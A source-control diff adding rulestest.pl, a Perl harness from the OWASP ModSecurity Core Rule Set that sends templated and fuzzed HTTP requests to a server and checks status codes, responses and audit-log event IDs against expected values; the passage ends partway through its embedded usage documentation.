iis/ModSecurityIIS/owasp_crs/util/regression_tests/rulestest.pl
Normal file
936
iis/ModSecurityIIS/owasp_crs/util/regression_tests/rulestest.pl
Normal file
@@ -0,0 +1,936 @@
|
||||
#!/opt/local/bin/perl
|
||||
#
|
||||
# Copyright (C) 2006-2011 Trustwave All rights reserved.
|
||||
#
|
||||
# The OWASP ModSecurity Core Rule Set is distributed under
|
||||
# Apache Software License (ASL) version 2
|
||||
# Please see the enclosed LICENCE file for full details.#
|
||||
# For Internal Use only!
|
||||
#
|
||||
# Originally writtern by Ofer Shezaf
|
||||
#
|
||||
|
||||
# !! todo:
|
||||
# !! ~ request for URI command in conf file
|
||||
# !! ~ Ensure headers terminators
|
||||
# !! read rulesets config file for event mane, policy and patterns
|
||||
# !! fuz patterns from config file
|
||||
# !! %include directive
|
||||
|
||||
use strict;
|
||||
#use warnings;
|
||||
#use diagnostics;
|
||||
use IO::File;
|
||||
use IO::Socket;
|
||||
use IO::Select;
|
||||
use HTTP::Request;
|
||||
use HTTP::Response;
|
||||
use Safe;
|
||||
use Storable qw(dclone);
|
||||
use Getopt::Long;
|
||||
use Pod::Usage;
|
||||
|
||||
# -- Add library
|
||||
use FindBin qw($Bin $Script);
|
||||
use lib "$Bin";
|
||||
|
||||
use Data::Dumper;
|
||||
autoflush STDOUT;
|
||||
|
||||
# -- consts
|
||||
our $SKELETON_REQUEST = <<END_SKEL
|
||||
GET \$URI HTTP/1.0
|
||||
Host: local
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Encoding: gzip,deflate
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
|
||||
END_SKEL
|
||||
;
|
||||
|
||||
|
||||
# -- get options
|
||||
my $global_state = { 'timeout' => '2', 'fuzz' => 1, 'vars' => {}, 'port' => 80 };
|
||||
$global_state->{'global'} = $global_state;
|
||||
|
||||
GetOptions
|
||||
(
|
||||
$global_state,
|
||||
'server|s:s',
|
||||
'hostname:s',
|
||||
'port|p:s',
|
||||
'timeout|t:f',
|
||||
'mslog:s',
|
||||
'msdebug:s',
|
||||
'o:s',
|
||||
'i=s@',
|
||||
'run:s@',
|
||||
'from:s',
|
||||
'relevant|r!',
|
||||
'fuzz|f!',
|
||||
'clean!',
|
||||
'check!',
|
||||
'verbose|v!',
|
||||
'help|h|?',
|
||||
'man'
|
||||
) || pod2usage (-exitstatus => 0, -verbose => 0);
|
||||
|
||||
pod2usage(-exitstatus => 1, -verbose => 1) if $global_state->{'help'};
|
||||
pod2usage(-exitstatus => 1, -verbose => 2) if $global_state->{'man'};
|
||||
|
||||
push @{$global_state->{'input'}}, @ARGV;
|
||||
pod2usage (2) if $#{$global_state->{'input'}} < 0;
|
||||
|
||||
# -- get list of test files
|
||||
my $testfiles = [];
|
||||
my ($progname) = ($Script =~ /(.*)\..*$/);
|
||||
if (-e "$progname.conf") {
|
||||
push @$testfiles, "$progname.conf";
|
||||
}
|
||||
foreach my $arg (@{$global_state->{'input'}}) {
|
||||
push @$testfiles, glob $arg;
|
||||
}
|
||||
|
||||
foreach my $file (@$testfiles) {
|
||||
if (!-e $file) {
|
||||
print STDERR "Error 101: test file $file not found\n";
|
||||
exit;
|
||||
}
|
||||
}
|
||||
|
||||
my ($outfile, $outfilename);
|
||||
if ($global_state->{'output'}) {
|
||||
$outfile = new IO::File ">$global_state->{'output'}";
|
||||
if (!$outfile) {
|
||||
print STDERR "Error 106: unable to create report file $global_state->{'output'}. $@\n";
|
||||
exit;
|
||||
}
|
||||
$outfilename = $global_state->{'output'};
|
||||
}
|
||||
else {
|
||||
$outfile = *STDOUT;
|
||||
$outfilename = 'STDOUT';
|
||||
}
|
||||
|
||||
report_header($outfile, $outfilename);
|
||||
|
||||
foreach my $filename (@$testfiles) {
|
||||
parse_test_file ($outfile, $filename, $global_state);
|
||||
}
|
||||
exit (0);
|
||||
|
||||
# -- read an input file and execute tests in it
|
||||
sub parse_test_file
|
||||
{
|
||||
my ($outfile, $filename, $parent_state) = @_;
|
||||
my $file_state = inherit_state ($parent_state);
|
||||
|
||||
report_file_header($outfile, $filename);
|
||||
|
||||
my $linenumber = 0;
|
||||
my $testfile = new IO::File "<$filename";
|
||||
if (!$testfile) {
|
||||
print STDERR "Error 105: unable to open tests file $filename. $@\n";
|
||||
print $outfile "unable to open file";
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
my $state = $file_state;
|
||||
while (defined(my $line=<$testfile>)) {
|
||||
$linenumber++;
|
||||
$line = tchomp ($line);
|
||||
$state = parse_test_line ($line, $state, $testfile);
|
||||
if (!ref $state) {
|
||||
print STDERR "$state in file $filename at line $linenumber\n";
|
||||
print STDERR "line: $line\n" if $parent_state->{'check'};
|
||||
|
||||
return;
|
||||
}
|
||||
while (my $test = shift @{$file_state->{'tests'}}) {
|
||||
run_test ($outfile, $test, $filename);
|
||||
}
|
||||
}
|
||||
run_test ($outfile, $state, $filename) if $state->{'name'};
|
||||
}
|
||||
|
||||
|
||||
# -- parse the next input line
|
||||
sub parse_test_line
|
||||
{
|
||||
my ($line, $state, $file) = @_;
|
||||
|
||||
# -- Handle EOF
|
||||
return $state unless defined $line;
|
||||
|
||||
# -- Hande multi line remarks
|
||||
if ($state->{'multi_line_cmd'} eq "remark") {
|
||||
undef $state->{'multi_line_cmd'} if ($line =~ /^\%endremark/i);
|
||||
return $state;
|
||||
}
|
||||
|
||||
# -- Handle multi line directives
|
||||
if (my $incmd = $state->{'multi_line_cmd'}) {
|
||||
|
||||
# -- Request parser
|
||||
if ($incmd =~ /^request$/i) {
|
||||
if (my ($len) = $line =~ /^Content-Length: (\d+)$/) {
|
||||
$state->{'request_len'} = $len;
|
||||
} elsif ($state->{'request_state'} eq 'headers' && $line =~ /^$/) {
|
||||
$state->{'request_state'} = 'body';
|
||||
$state->{'multi_line_value'} .= "$line\x0D\x0A";
|
||||
if (defined $state->{'request_len'}) {
|
||||
my $result = read $file, my $buffer, $state->{'request_len'};
|
||||
return "Error 110: Error reading file" if !defined $result;
|
||||
return "Error 111: File terminated unexpectedly (read $result char of required $state->{'request_len'})" if $result != $state->{'request_len'};
|
||||
#print "==>$state->{'multi_line_value'}<==\n$buffer\n----\n";
|
||||
$state->{'multi_line_value'} .= $buffer;
|
||||
return $state;
|
||||
undef $state->{'request_len'};
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# X-Real-Content-Length:
|
||||
# -- Append to value if not yet next directive
|
||||
if ($line !~ /^\%/) {
|
||||
$state->{'multi_line_value'} .= "$line\x0D\x0A";
|
||||
return $state;
|
||||
}
|
||||
|
||||
# -- Otherwise use directive
|
||||
$state = use_test_directive ($state, $incmd, $state->{'multi_line_value'}, $state->{'multi_line_global'});
|
||||
return $state if (!ref $state);
|
||||
undef $state->{'multi_line_cmd'};
|
||||
undef $state->{'multi_line_value'};
|
||||
undef $state->{'request_len'};
|
||||
}
|
||||
|
||||
# -- Handle empty lines and single line remarks
|
||||
return $state if $line =~ /^\s*(\#|$)/;
|
||||
|
||||
# -- Parse directive
|
||||
my ($global);
|
||||
$line =~ /^\%(\w+)\s*(.*)?$/;
|
||||
my ($cmd, $operand) = ($1,$2);
|
||||
if ($cmd =~ /^global$/i) {
|
||||
$global = 1;
|
||||
($cmd, $operand) = ($operand =~ /^\s*(\w+)\s*(.*)?$/);
|
||||
}
|
||||
if (!$operand) {
|
||||
$operand = 1;
|
||||
if ($cmd =~ /^no(.*)$/) {
|
||||
$cmd = $1;
|
||||
$operand = 0;
|
||||
}
|
||||
}
|
||||
$cmd = lc $cmd;
|
||||
|
||||
# -- Start multi line directives
|
||||
if ($cmd =~ /^(?:request|remark)$/i) {
|
||||
$state->{'multi_line_cmd'} = $cmd;
|
||||
$state->{'multi_line_global'} = $global;
|
||||
return $state;
|
||||
}
|
||||
|
||||
return use_test_directive ($state, $cmd, $operand, $global);
|
||||
}
|
||||
|
||||
sub use_test_directive
|
||||
{
|
||||
my ($state, $cmd, $operand, $global) = @_;
|
||||
|
||||
# -- Simple directives
|
||||
if ($cmd =~ /^(?:server|port|hostname|timeout|verbose|relevant|mslog|msdebug|request|uri|request|fuzz|clean|pause)$/i) {
|
||||
if ($global) {
|
||||
$state->{'global'}->{$cmd} = $operand;
|
||||
}
|
||||
$state->{$cmd} = $operand;
|
||||
$state->{'request_state'} = 'headers';
|
||||
}
|
||||
|
||||
# -- List directives
|
||||
elsif ($cmd =~ /^(?:status|remote_event|event|audit|output)$/i) {
|
||||
push_state ($state, $state->{'global'}, $cmd, $global, $operand);
|
||||
}
|
||||
|
||||
# -- Variable assignment
|
||||
elsif ($cmd =~ /^(?:var)$/i) {
|
||||
my ($var, $values) = ($operand =~ /\s*(\w+)\s*=\s*?(.*)/);
|
||||
my @values = split /\s*,\s*/, $values;
|
||||
push_state ($state->{'vars'}, $state->{'global'}->{'vars'}, $var, $global, @values);
|
||||
}
|
||||
|
||||
# -- End test (return to file context)
|
||||
elsif ($cmd =~ /endtest/i) {
|
||||
if ($state->{'name'}) {
|
||||
push @{$state->{'parent'}->{'tests'}}, $state;
|
||||
}
|
||||
else {
|
||||
return "Error 107: %endtest directive without a preceding %test directive";
|
||||
}
|
||||
$state = $state->{'parent'};
|
||||
}
|
||||
|
||||
# -- New test (end test and start a new one)
|
||||
elsif ($cmd =~ /test/i) {
|
||||
if ($state->{'name'}) {
|
||||
push @{$state->{'parent'}->{'tests'}}, $state;
|
||||
$state = inherit_state ($state->{'parent'});
|
||||
}
|
||||
else {
|
||||
$state = inherit_state ($state);
|
||||
}
|
||||
$state->{'name'} = $operand;
|
||||
}
|
||||
|
||||
# -- error
|
||||
else {
|
||||
return "Error 102: syntax error";
|
||||
}
|
||||
|
||||
return $state;
|
||||
}
|
||||
|
||||
|
||||
sub reconfigure
|
||||
{
|
||||
my ($state) = @_;
|
||||
|
||||
my ($restart) = 0;
|
||||
if ($state->{'clean'}) {
|
||||
unlink $state->{'mslog'} if $state->{'mslog'};
|
||||
unlink $state->{'msdebug'} if $state->{'msdebug'};
|
||||
$restart = 1;
|
||||
global_clear ($state, 'clean');
|
||||
}
|
||||
if ($restart) {
|
||||
print "## Restarting apache\n";
|
||||
print STDERR `/usr/local/apache/bin/apachectl restart`;
|
||||
sleep (1);
|
||||
}
|
||||
}
|
||||
|
||||
sub inherit_state
|
||||
{
|
||||
my ($state) = @_;
|
||||
my $clone = dclone $state;
|
||||
$clone->{'parent'} = $state;
|
||||
$clone->{'global'} = $state->{'global'};
|
||||
delete $clone->{'tests'};
|
||||
return $clone;
|
||||
}
|
||||
|
||||
# -- Add values to key in state taking into about both overriding and global
|
||||
sub push_state
|
||||
{
|
||||
my ($hash, $global_hash, $key, $global, @values) = @_;
|
||||
if ($global) {
|
||||
push @{$global_hash->{$key}}, @values;
|
||||
}
|
||||
elsif (!$hash->{"_OVERRIDE_$key"}) {
|
||||
$hash->{$key} = [];
|
||||
}
|
||||
$hash->{"_OVERRIDE_$key"} = 1;
|
||||
push @{$hash->{$key}}, @values;
|
||||
}
|
||||
|
||||
sub global_clear
|
||||
{
|
||||
my ($state, $key) = @_;
|
||||
while ($state) {
|
||||
undef $state->{$key};
|
||||
$state = $state->{'parent'};
|
||||
}
|
||||
}
|
||||
|
||||
sub run_test
|
||||
{
|
||||
my ($outfile, $state, $file) = @_;
|
||||
|
||||
return if $state->{'check'};
|
||||
if ($state->{'from'}) {
|
||||
return if $state->{'name'} !~ /$state->{'from'}/;
|
||||
}
|
||||
global_clear ($state, 'from');
|
||||
|
||||
my $do_test = $#{$state->{'run'}} < 0;
|
||||
foreach my $select (@{$state->{'run'}}) {
|
||||
$do_test ||= ($state->{'name'} =~ /$select/);
|
||||
}
|
||||
return if !$do_test;
|
||||
|
||||
if ($state->{'request'} && $state->{'uri'}) {
|
||||
print STDERR "Error 103: cannot use both %request and %uri in test $state->{'name'} in file $file\n";
|
||||
exit;
|
||||
}
|
||||
reconfigure($state);
|
||||
if ($state->{'uri'}) {
|
||||
$state->{'request'} = $SKELETON_REQUEST;
|
||||
$state->{'request'} =~ s/\$URI/$state->{'uri'}/;
|
||||
}
|
||||
my $requests = $state->{'fuzz'} ?
|
||||
generate_vectors ($state->{'request'}, $state->{'vars'}, $state->{'verbose'}) :
|
||||
{'' => $state->{'request'}};
|
||||
VECTOR: while (my ($vars, $request) = each %$requests)
|
||||
{
|
||||
my $test = inherit_state ($state);
|
||||
$test->{'request'} = $request;
|
||||
if ($test->{'mslog'}) {
|
||||
my $output = `wc $test->{'mslog'}`;
|
||||
$output =~ /\s*(\d+)/;
|
||||
$test->{'mslog_start'} = $1;
|
||||
}
|
||||
if ($test->{'msdebug'}) {
|
||||
my $output = `wc $test->{'msdebug'}`;
|
||||
$output =~ /\s*(\d+)/;
|
||||
$test->{'msdebug_start'} = $1;
|
||||
}
|
||||
my ($server, $port) = ($test->{'server'}, $test->{'port'});
|
||||
if (!$port && ($server =~ /^(.+)\:(\d+)$/)) {
|
||||
$server = $1;
|
||||
$port = $2;
|
||||
}
|
||||
if ($test->{'hostname'}) {
|
||||
my $hostname = ($test->{'hostname'});
|
||||
}
|
||||
my $sock = IO::Socket::INET->new(PeerAddr => $server, PeerPort => $port);
|
||||
if (!$sock) {
|
||||
print STDERR "Error 104: error connecting to server $server. $@\n";
|
||||
exit;
|
||||
}
|
||||
|
||||
print $sock $request;
|
||||
my $line;
|
||||
do {
|
||||
my @ready;
|
||||
@ready = IO::Select->new($sock)->can_read($test->{'timeout'});
|
||||
if ($#ready < 0) {
|
||||
$test->{'response'} = $test->{'response_status'} = "N/A";
|
||||
report_test ($outfile, 'TIMEOUT', $test, $request, $vars);
|
||||
next VECTOR;
|
||||
}
|
||||
|
||||
if (defined($line = <$sock>)) {
|
||||
$test->{'response'} .= $line;
|
||||
if (!$test->{'response_status'}) {
|
||||
if ($line =~ /^HTTP\S*\s+(\d+)/) {
|
||||
$test->{'response_status'} = $1;
|
||||
}
|
||||
elsif ($line =~ /<title>400 Bad Request<\/title>/) {
|
||||
$test->{'response_status'} = 400;
|
||||
}
|
||||
}
|
||||
}
|
||||
} while (defined($line));
|
||||
|
||||
if ($test->{'mslog'}) {
|
||||
my $output = `wc $test->{'mslog'}`;
|
||||
$output =~ /\s*(\d+)/;
|
||||
my $lines = $1 - $test->{'mslog_start'};
|
||||
$test->{'mslog'} = `tail -n $lines $test->{'mslog'}`;
|
||||
}
|
||||
|
||||
if ($test->{'msdebug'}) {
|
||||
my $output = `wc $test->{'msdebug'}`;
|
||||
$output =~ /\s*(\d+)/;
|
||||
my $lines = $1 - $test->{'msdebug_start'};
|
||||
$test->{'msdebug'} = `tail -n $lines $test->{'msdebug'}`;
|
||||
}
|
||||
|
||||
$test->{'match_status'} = check_match ($test->{'response_status'}, $test->{'status'});
|
||||
$test->{'match_output'} = check_match ($test->{'response'}, $test->{'output'});
|
||||
$test->{'match_audit'} = !$test->{'mslog'} || check_match ($test->{'mslog'}, $test->{'audit'});
|
||||
my $test_events;
|
||||
foreach my $event (@{$test->{'event'}}) {
|
||||
if ($event =~ /^\!(.*)$/) {
|
||||
push @$test_events, "!\\[id \\\"$1\\\"\\]"
|
||||
}
|
||||
else {
|
||||
push @$test_events, "\\[id \\\"$event\\\"\\]"
|
||||
}
|
||||
}
|
||||
$test->{'match_events'} = !$test->{'mslog'} || check_match ($test->{'mslog'}, $test_events);
|
||||
my $result =
|
||||
($test->{'match_status'}
|
||||
&& $test->{'match_output'}
|
||||
&& $test->{'match_audit'}
|
||||
&& $test->{'match_events'}) ? "OK" : "FAIL" ;
|
||||
report_test ($outfile, $result, $test, $request, $vars);
|
||||
sleep $test->{'pause'} if $test->{'pause'};
|
||||
}
|
||||
}
|
||||
|
||||
sub check_match
|
||||
{
|
||||
my ($text, $patterns) = @_;
|
||||
my $match = 1;
|
||||
foreach my $pattern (@$patterns) {
|
||||
if ($pattern =~ /^\!(.*)$/) {
|
||||
return 0 if $text =~ /$1/sm;
|
||||
}
|
||||
else {
|
||||
return 0 if $text !~ /$pattern/sm;
|
||||
}
|
||||
}
|
||||
return $match;
|
||||
}
|
||||
|
||||
sub report_header
|
||||
{
|
||||
my ($outfile, $outfilename) = @_;
|
||||
print $outfile "\nModSecurity rules test report generated to $outfilename on " . localtime() . "\n";
|
||||
print $outfile "Produced by rulestest.pl, (c) Trustwave Holdings Inc, 2012\n";
|
||||
}
|
||||
|
||||
sub report_file_header
|
||||
{
|
||||
my ($outfile, $filename) = @_;
|
||||
print $outfile "\n## reading tests file $filename\n";
|
||||
}
|
||||
|
||||
sub report_test
|
||||
{
|
||||
my ($outfile, $result, $test, $request, $vars) = @_;
|
||||
|
||||
|
||||
print $outfile "\n" if $result ne "OK";
|
||||
print $outfile "$result: ";
|
||||
print $outfile "$test->{'name'}";
|
||||
print $outfile " ($vars)" if $vars;
|
||||
print $outfile ", status = $test->{'response_status'}";
|
||||
#print $outfile ", X-WAF-Event Match" if ($test->{'match_output'});
|
||||
my (@events) = ($test->{'mslog'} =~ /\[id \"(\d+)\"\]/gim);
|
||||
print $outfile $#events < 0 ? ", no events received" : ", event(s) = " . (join ",", @events) ;
|
||||
if ($result eq "FAIL") {
|
||||
print $outfile "\n";
|
||||
if (!$test->{'match_status'}) {
|
||||
print $outfile "Expected status code(s): " . (join ",", @{$test->{'status'}}) . "\n";
|
||||
}
|
||||
if (!$test->{'match_events'}) {
|
||||
print $outfile "Expected event(s): " . (join ",", @{$test->{'event'}}) . "\n";
|
||||
}
|
||||
if (!$test->{'match_audit'}) {
|
||||
print $outfile "Audit does not match\n";
|
||||
}
|
||||
if (!$test->{'match_output'}) {
|
||||
print $outfile "Output does not match\n";
|
||||
}
|
||||
#$test->{'match_events'} && print "Events: $test->{'response_status'} and not " . (join ",", $test->{'status'}) . "\n";
|
||||
print_details ($test) if $test->{'verbose'} || $test->{'relevant'};
|
||||
}
|
||||
print $outfile "\n";
|
||||
print_details ($test) if $test->{'verbose'};
|
||||
}
|
||||
|
||||
|
||||
sub print_details
|
||||
{
|
||||
my ($test) = @_;
|
||||
print $outfile "---------\nRequest:\n$test->{'request'}\n";
|
||||
print $outfile "---------\nResponse:\n$test->{'response'}\n";
|
||||
print $outfile "---------\nLog:\n$test->{'mslog'}\n" if ($test->{'mslog'});
|
||||
print $outfile "---------\nDebug:\n$test->{'msdebug'}\n" if ($test->{'msdebug'});
|
||||
}
|
||||
|
||||
sub generate_vectors
|
||||
{
|
||||
my ($script, $vars, $verbose) = @_;
|
||||
my $test_requests = [];
|
||||
|
||||
my $vectors = [ {} ];
|
||||
while (my ($var, $values) = each %$vars) {
|
||||
next if $var =~ /^_OVERRIDE_/;
|
||||
next if $script !~ /\$$var\b/;
|
||||
foreach my $vector (@$vectors) {
|
||||
$vector->{$var} = $values->[0];
|
||||
}
|
||||
if ($#$values > 0) {
|
||||
my $collect_vectors = [];
|
||||
shift @$values;
|
||||
foreach my $value (@$values) {
|
||||
my $new_vectors = dclone $vectors;
|
||||
foreach my $vector (@$new_vectors) {
|
||||
$vector->{$var} = $value;
|
||||
}
|
||||
push @$collect_vectors, @$new_vectors;
|
||||
};
|
||||
push @$vectors, @$collect_vectors;
|
||||
}
|
||||
}
|
||||
|
||||
$script =~ s/\$([a-zA-Z_]+)/\$vector->{$1}/g;
|
||||
#print "SCRIPT=>$script\n";
|
||||
my $results;
|
||||
foreach our $vector (@$vectors) {
|
||||
my $var = join ",", map { "$_=$vector->{$_}" } keys %$vector;
|
||||
$vector->{'CONTENT_LENGTH'} = '$CONTENT_LENGTH';
|
||||
my $result;
|
||||
if (!defined($result = eval_expression ($script, $vector, $verbose))) {
|
||||
print STDERR "Error 109: unable to fuzz request. Not fuzzing test.\n";
|
||||
return ({'' => $script});
|
||||
}
|
||||
#my $req = HTTP::Request->parse($result);
|
||||
my ($content) = $result =~ /.*?\x0D\x0A\x0D\x0A(.*)/sm;
|
||||
$vector->{'CONTENT_LENGTH'} = length $1;
|
||||
$result = eval_expression ($script, $vector, $verbose);
|
||||
$results->{$var} = $result;
|
||||
}
|
||||
return $results;
|
||||
}
|
||||
|
||||
|
||||
sub eval_expression
|
||||
{
|
||||
my ($script, $vector, $verbose) = @_;
|
||||
|
||||
$script =~ s/([\"\@\%])/\\$1/g;
|
||||
my $result;
|
||||
my $warn;
|
||||
local $SIG{__WARN__} = sub { $warn = $_[0] };
|
||||
eval {
|
||||
my $safe = new Safe;
|
||||
$safe->share ('$vector');
|
||||
$result = $safe->reval ("return \"$script\"");
|
||||
};
|
||||
if ((my $error = $@) || $warn) {
|
||||
print STDERR "Error 108: unable to evaluate expression\n";
|
||||
print STDERR "SCRIPT: $script\n" if $verbose;
|
||||
print STDERR "EVAL ERROR: $error\n" if $error && $verbose;
|
||||
print STDERR "EVAL WARNING: $warn\n" if $warn && $verbose;
|
||||
return undef;
|
||||
}
|
||||
return $result;
|
||||
}
|
||||
|
||||
sub tchomp {
|
||||
my ($text) = @_;
|
||||
$text =~ s/^(.*?)(?:\x0D\x0A|\x0A|\x0D|\x0C|\x{2028}|\x{2029})/$1/s;
|
||||
return $text;
|
||||
}
|
||||
|
||||
|
||||
|
||||
__END__
|
||||
|
||||
=head1 NAME
|
||||
|
||||
rulestest.pl
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
rulestest.pl [options] [test files ...]
|
||||
|
||||
This program reads and executed tests in input test file(s) agains a
|
||||
ModSecurity protected web application.
|
||||
|
||||
use -help for options.
|
||||
use -man for detailed usage information.
|
||||
|
||||
=head1 OPTIONS
|
||||
|
||||
the following options can be used either on the command line or (using the
|
||||
long version) as directives (prefixed by %) in test files.
|
||||
|
||||
-s or -server <address>[:<port>]
|
||||
address of server to send. Mandatory before any test, but can appear
|
||||
in the test files themselves
|
||||
|
||||
-p or -port <port>
|
||||
port to send tests to, defaults to 80
|
||||
|
||||
-t or -timeout <time>
|
||||
time in seconds, possibly fractional, to wait for server response.
|
||||
If the server does not respond within this period the test fails.
|
||||
the default is 10 seconds.
|
||||
|
||||
Timeout should be small for synthetic tests, such as those
|
||||
generated from capture files as the server would respond fast.
|
||||
The timeout may need to be longer for real world servers.
|
||||
|
||||
-f or -fuzz
|
||||
Whether to use fuzzing or not. You may not want to use fuzzing in
|
||||
case the requests where generated automatically and may includes
|
||||
syntax that will be considered by rulestest as substitutable
|
||||
variables.
|
||||
|
||||
-mslog <file name>
|
||||
ModSecurity log file to search for events in. If not specified
|
||||
events are not (useful if tests are not run locally).
|
||||
|
||||
-msdebug <file name>
|
||||
ModSecurity debug file to extract debug information
|
||||
to test report. If not specified, debug information is not
|
||||
add to the report.
|
||||
|
||||
-o <file name>
|
||||
name of output file. Defaults to STDOUT. Not relevant as directive
|
||||
in test files.
|
||||
|
||||
-i <file name>
|
||||
Names of input files. can also appear as parameters on the command
|
||||
line. Not relevant as directive in test files.
|
||||
|
||||
-check
|
||||
Does not run test but only parses the input file
|
||||
|
||||
-run <regular expression>
|
||||
a regular expresion to select tests to perfrom. Only tests whose
|
||||
name match the regular expression are executed. The option
|
||||
(or directive) can be used multiple times, so a test matching
|
||||
any of the regular expressions will be executed.
|
||||
|
||||
-from <regular expression>
|
||||
a regular expression selecting the first test to perform.
|
||||
|
||||
-r or -relevant
|
||||
Detailed information in the test report in case
|
||||
of a test failure.
|
||||
|
||||
-v or -verbose
|
||||
Detailed information for all tests. Verbose will also cause specific
|
||||
errors to include print more information.
|
||||
|
||||
-c or -clean
|
||||
deletes log and debug files and restart apache (using apachctl).
|
||||
Significantly enhance performance of the tests and can be used as
|
||||
many times as needed in test files.
|
||||
|
||||
Clean is executed once, when starting the 1st test after it is
|
||||
defined regardless of the scope it is defined at. Specifically
|
||||
it will remove the log and debug files as defined when the test
|
||||
start: this enables the use of -clean on the command line even
|
||||
though file locations are defined only later on, for example in
|
||||
rulestest.conf.
|
||||
|
||||
|
||||
=head1 INSTALLATION & CONFIGURATION
|
||||
|
||||
Test should be run from the same host ModSecurity runs on, or a computer that
|
||||
has file system access to ModSecurity audit log to. This allows rulestest to
|
||||
examine ModSecurity audit log for events and extract information from
|
||||
ModSecurity debug log to the test report.
|
||||
|
||||
In order to test for events, ensure that ModSecurity is set use serial logging.
|
||||
|
||||
=head2 Local and Global Settings:
|
||||
|
||||
When used in a file, directives are local to the file, and when used whithin
|
||||
a test they are local to a test. To specify global settings preced the directive
|
||||
wiht the keyword global:
|
||||
|
||||
%global server 127.0.0.1:80
|
||||
|
||||
if a file with the name rulestest.conf exists in the same directory as the
|
||||
script, it will be read. I can contain any directive valid in a test file.
|
||||
It can be used to set default
|
||||
|
||||
=head2 Binary Attrbiutes:
|
||||
|
||||
Directives that except a yes/no value can be set in varios ways. Providing the
|
||||
value 0 or 1 will set them to no and yes respectively. The directive without
|
||||
any values is eqvivalent to setting it to 1, and the directive preceded by "no"
|
||||
is eqvivalent to 0, for example:
|
||||
|
||||
%noverbose
|
||||
|
||||
will set the current scope to not report verbosely.
|
||||
|
||||
=head2 Default Settings:
|
||||
|
||||
The file rulestest.conf is automatically read by rulestest.pl before any
|
||||
tests file and may contain global setup directives. You may especially want to
|
||||
set there settings such as %server, %mslog and %msdebug as well as reporting
|
||||
level using %verbose and %relevant.
|
||||
|
||||
=head1 WRITING TESTS
|
||||
|
||||
To write a test use the following directives:
|
||||
|
||||
=head2 defining the test request
|
||||
|
||||
%test <name> -
|
||||
starts a test and set is name as shown in the report
|
||||
|
||||
%endtest -
|
||||
used to terminate a test. Ususally there is no need to use this
|
||||
directive as the next %test directive implicitly defines the end of
|
||||
a test. You may want to use it if you want to set additional file
|
||||
level settings for the remaining tests.
|
||||
|
||||
%remark -
|
||||
Ignore all lines (including directives) until a matching %endremark
|
||||
directive. use # at the beginning of a line to add a remark line to
|
||||
the file, if not in the middle of a multi-line directive such as
|
||||
%request.
|
||||
|
||||
%request -
|
||||
multiple lines of the request should appear on the lines follwing
|
||||
the directive terminated by the next =directive (a line starting
|
||||
with "%"). Do not forget to leave an empty line as required by
|
||||
HTTP.
|
||||
|
||||
You can use the special variable $CONTENT_LENGTH to have
|
||||
rulestest set the correct content length for the request.
|
||||
$CONTENT_LENGTH can save counting, but its main use is to enable
|
||||
fuzzing of requests with variables in the post data.
|
||||
|
||||
%uri -
|
||||
a uri to send to the server. it would be embedded in a
|
||||
standard request
|
||||
|
||||
%pause -
|
||||
define a delay in seconds after the test and before the next test.
|
||||
Useful if the feature tested involves timeouts.
|
||||
|
||||
either a %uri or a %request directive must appeat in a test. A %request or a
|
||||
%uri can include variables using perl notation ($varname). this would be
|
||||
replaced when testing with a value set by the %var directive.
|
||||
|
||||
Empty lines are skipped if not in the middle of multi-line directives such
|
||||
as %request.
|
||||
|
||||
=head2 defining expected output
|
||||
|
||||
%status <regexp> -
|
||||
The expected response status code(s).
|
||||
|
||||
%event <regexp> -
|
||||
A regexp that should match event ids generated by the test in
|
||||
the audit log.
|
||||
|
||||
%audit <regexp> -
|
||||
A regexp that should match in the audit log of the test.
|
||||
|
||||
%output <regexp> -
|
||||
A regexp that should match in set a string to search in the HTTP
|
||||
response. You can use multiple directives to define many required
|
||||
patterns.
|
||||
|
||||
for %event, %audit and %output you can use multiple directives to define
|
||||
many required patterns. All of them must match for the rule to match. Use the
|
||||
regular expresion or (|) option to check for at least one option from a group
|
||||
of patterns.
|
||||
|
||||
Each regular expression can be preceded by a "!" mark to negate the test. the
|
||||
regular expression following must not appear in the test result.
|
||||
|
||||
=head1 REPORTING
|
||||
|
||||
By default rulestest will provide brief message describing if the test succeded
|
||||
in any of the checks done: status code, events generated, pattern in audit log
|
||||
and pattern in response.
|
||||
|
||||
the following directives allow control on the level of details of the report:
|
||||
|
||||
%verbose -
|
||||
from the test for which the directive appears onward, output request,
|
||||
reply and new ModSecurity audit log lines for each test. set to 0 to
|
||||
stop (1 is implicit on set).
|
||||
|
||||
%relevant -
|
||||
from the test for which the directive appears onward, output verbose
|
||||
output for tests that failed any check. set to 0 to stop (1 is
|
||||
implicit on set).
|
||||
|
||||
In most cases, you will only be interested in the failed tests. In that case,
|
||||
you can use awk with the following command:
|
||||
gawk '$1=="OK:" {printme=0}; $1=="FAIL:" {printme=1}; $1=="##" {printme=1}; printme==1 {print}'
|
||||
|
||||
=head1 VARIABLE SUBSTITUTION (FUZZING)
|
||||
|
||||
The directive "%var variable=value[, value[, valueM-^E..]] sets values for a
|
||||
variable which are embedded in the request sent. The test would be repeated
|
||||
using every value. Values are set only for the current test. Use the
|
||||
%globalvar directive to set global variables.
|
||||
|
||||
Multiple %var directives for the same variable add values to the list and do
|
||||
not replace values, so:
|
||||
|
||||
%var variable=value1
|
||||
|
||||
%var variable=value2
|
||||
|
||||
Would test with both value1 and value2.
|
||||
|
||||
If multiple variables are used in the same test, than the test is carried for
|
||||
each combination of values of the variables:
|
||||
|
||||
%var var1=v1, v2
|
||||
|
||||
%var var3=v3, v4
|
||||
|
||||
The test would be repeated 4 times with the test vectors (v1, v3), (v1, v4),
|
||||
(v2, v3), (v2, v4).
|
||||
|
||||
As noted before, the special variable $CONTENT_LENGTH can be used to
|
||||
automatically calculate the content length based on the actually generated
|
||||
request after variable substitution.
|
||||
|
||||
=head1 TESTING RESPONSES
|
||||
|
||||
In order for outbound tests the script testserver.cgi has to be installed in
|
||||
the web server's /cgi-bin directory.
|
||||
|
||||
To force response content in request, use /cgi-bin/testserver.cgi as the target
|
||||
URL and add one or more of the following headers to the reuqest:
|
||||
|
||||
